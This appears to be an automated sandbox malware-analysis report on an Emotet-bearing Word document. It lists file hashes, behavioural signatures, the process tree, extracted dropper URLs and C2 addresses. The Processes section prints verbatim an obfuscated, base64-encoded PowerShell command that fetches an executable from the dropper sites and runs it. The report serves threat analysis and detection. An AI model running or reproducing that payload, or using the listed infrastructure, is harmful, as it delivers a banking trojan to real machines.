Overview

overview

10

Static

static

8

emotet_doc

windows7_x64

10

Analysis

  • max time kernel
    31s
  • max time network
    34s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    29-07-2020 12:42

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    f794639d67379bfe9c95c945acab77981d8f44fc8d75e2566e09aaff420cb280.doc

  • Size

    175KB

  • MD5

    f8ab6670f00a035e68134a7fd4dcb264

  • SHA1

    0fd60d0c821d6aa014171a05b7678a21b05056fe

  • SHA256

    f794639d67379bfe9c95c945acab77981d8f44fc8d75e2566e09aaff420cb280

  • SHA512

    f4f48f82ec065a0e7aaa2ae57eceeaead5b5ad7ff49b73cbaf332bf5329888714a8819aa64a95aabdec6471596f299d2a2c20e4557425e4da722d99cdbe5e45c

Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.greaudstudio.com/docs/olohz_suq_munasyr/
exe.dropper

http://www.gravelrecords.com/wp-admin/5h_jns_l3s6/
exe.dropper

http://gtsouth.com/drinkmenu/38vq_z8al_r5cujfy90n/
exe.dropper

http://groncrete.com/bower_components/cvbh8_f0_84rai/
exe.dropper

http://www.gunesoluk.com/eotps/heb_x_1ehlbx9/

Extracted

Family

emotet

C2

76.27.179.47:80

212.51.142.238:8080

189.212.199.126:443

61.19.246.238:443

162.154.38.103:80

91.211.88.52:7080

83.110.223.58:443

124.45.106.173:443

116.203.32.252:8080

109.117.53.230:443

5.196.74.210:8080

75.139.38.211:80

168.235.67.138:7080

176.111.60.55:8080

169.239.182.217:8080

74.208.45.104:8080

31.31.77.83:443

222.214.218.37:4143

37.139.21.175:8080

91.205.215.66:443
rsa_pubkey.plain

Signatures

  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Office loads VBA resources, possible macro or embedded object present
  • Blacklisted process makes network request 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f794639d67379bfe9c95c945acab77981d8f44fc8d75e2566e09aaff420cb280.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1504
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABOAFoAQwBSAE8AeQBoAGkAPQAnAFoAQQBHAFEASABuAHYAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwBgAFUAcgBJAFQAeQBgAFAAUgBvAGAAVABPAGMAYABvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABTAFkAQQBTAEcAdQBlAGEAIAA9ACAAJwA1ADgAMwAnADsAJABHAEkASABFAFUAZgBoAGEAPQAnAEYAUABGAFYASABsAGQAegAnADsAJABRAE8ATQBOAFMAYgBlAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFMAWQBBAFMARwB1AGUAYQArACcALgBlAHgAZQAnADsAJABaAEEATgBGAEoAbwBmAGYAPQAnAEIAUgBOAFcARABmAHUAdQAnADsAJABBAE8AQwBZAE0AcwB0AGQAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQBUAC4AdwBFAGIAYwBMAEkAZQBOAFQAOwAkAFQAQQBKAEoAQQBsAHoAegA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAcgBlAGEAdQBkAHMAdAB1AGQAaQBvAC4AYwBvAG0ALwBkAG8AYwBzAC8AbwBsAG8AaAB6AF8AcwB1AHEAXwBtAHUAbgBhAHMAeQByAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZwByAGEAdgBlAGwAcgBlAGMAbwByAGQAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANQBoAF8AagBuAHMAXwBsADMAcwA2AC8AKgBoAHQAdABwADoALwAvAGcAdABzAG8AdQB0AGgALgBjAG8AbQAvAGQAcgBpAG4AawBtAGUAbgB1AC8AMwA4AHYAcQBfAHoAOABhAGwAXwByADUAYwB1AGoAZgB5ADkAMABuAC8AKgBoAHQAdABwADoALwAvAGcAcgBvAG4AYwByAGUAdABlAC4AYwBvAG0ALwBiAG8AdwBlAHIAXwBjAG8AbQBwAG8AbgBlAG4AdABzAC8AYwB2AGIAaAA4AF8AZgAwAF8AOAA0AHIAYQBpAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZwB1AG4AZQBzAG8AbAB1AGsALgBjAG8AbQAvAGUAbwB0AHAAcwAvAGgAZQBiAF8AeABfADEAZQBoAGwAYgB4ADkALwAnAC4AIgBTAGAAcABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAVgBIAE0ARwB4AHAAZAA9ACcAVQBGAFkARgBFAG4AYgBkACcAOwBmAG8AcgBlAGEAYwBoACgAJABYAFcAQQBBAEkAbABxAHoAIABpAG4AIAAkAFQAQQBKAEoAQQBsAHoAegApAHsAdAByAHkAewAkAEEATwBDAFkATQBzAHQAZAAuACIARABgAG8AdwBOAGwATwBgAEEAYABEAGYAaQBMAGUAIgAoACQAWABXAEEAQQBJAGwAcQB6ACwAIAAkAFEATwBNAE4AUwBiAGUAZwApADsAJABXAEEAWgBTAFkAcABmAGcAPQAnAEYASQBMAEEAQQBuAHUAdwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFEATwBNAE4AUwBiAGUAZwApAC4AIgBsAGAARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMgAzADQAMwAwACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAYABFAEEAVABlACIAKAAkAFEATwBNAE4AUwBiAGUAZwApADsAJABNAFQAUQBQAEYAcgBsAHoAPQAnAFYATgBBAFUAQQBxAHkAdAAnADsAYgByAGUAYQBrADsAJABOAFcAUwBIAEEAbwBqAHUAPQAnAFQARQBLAEwASABpAHAAcQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAEwAVQBCAE4AcABkAGsAPQAnAEUATwBMAEoAQwB1AGQAagAnAA==
    1⤵
    • Modifies system certificate store
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Suspicious use of AdjustPrivilegeToken
    PID:1808
  • C:\Users\Admin\583.exe
    C:\Users\Admin\583.exe
    1⤵
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:668
    • C:\Windows\SysWOW64\KernelBase\schedcli.exe
      "C:\Windows\SysWOW64\KernelBase\schedcli.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1208

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\583.exe
    Download Submit

  • C:\Users\Admin\583.exe
    Download Submit

  • C:\Windows\SysWOW64\KernelBase\schedcli.exe
    Download Submit

  • memory/668-10-0x00000000003D0000-0x00000000003DC000-memory.dmp

    Filesize

    48KB

    Download

  • memory/1208-12-0x0000000000000000-mapping.dmp

    Download

  • memory/1208-14-0x0000000000350000-0x000000000035C000-memory.dmp

    Filesize

    48KB

    Download

  • memory/1504-2-0x0000000008A60000-0x0000000008A64000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1504-4-0x00000000070E0000-0x00000000072E0000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1504-5-0x000000000AFB0000-0x000000000AFB4000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1504-6-0x000000000C030000-0x000000000C034000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1504-8-0x0000000002180000-0x0000000002181000-memory.dmp

    Filesize

    4KB

    Download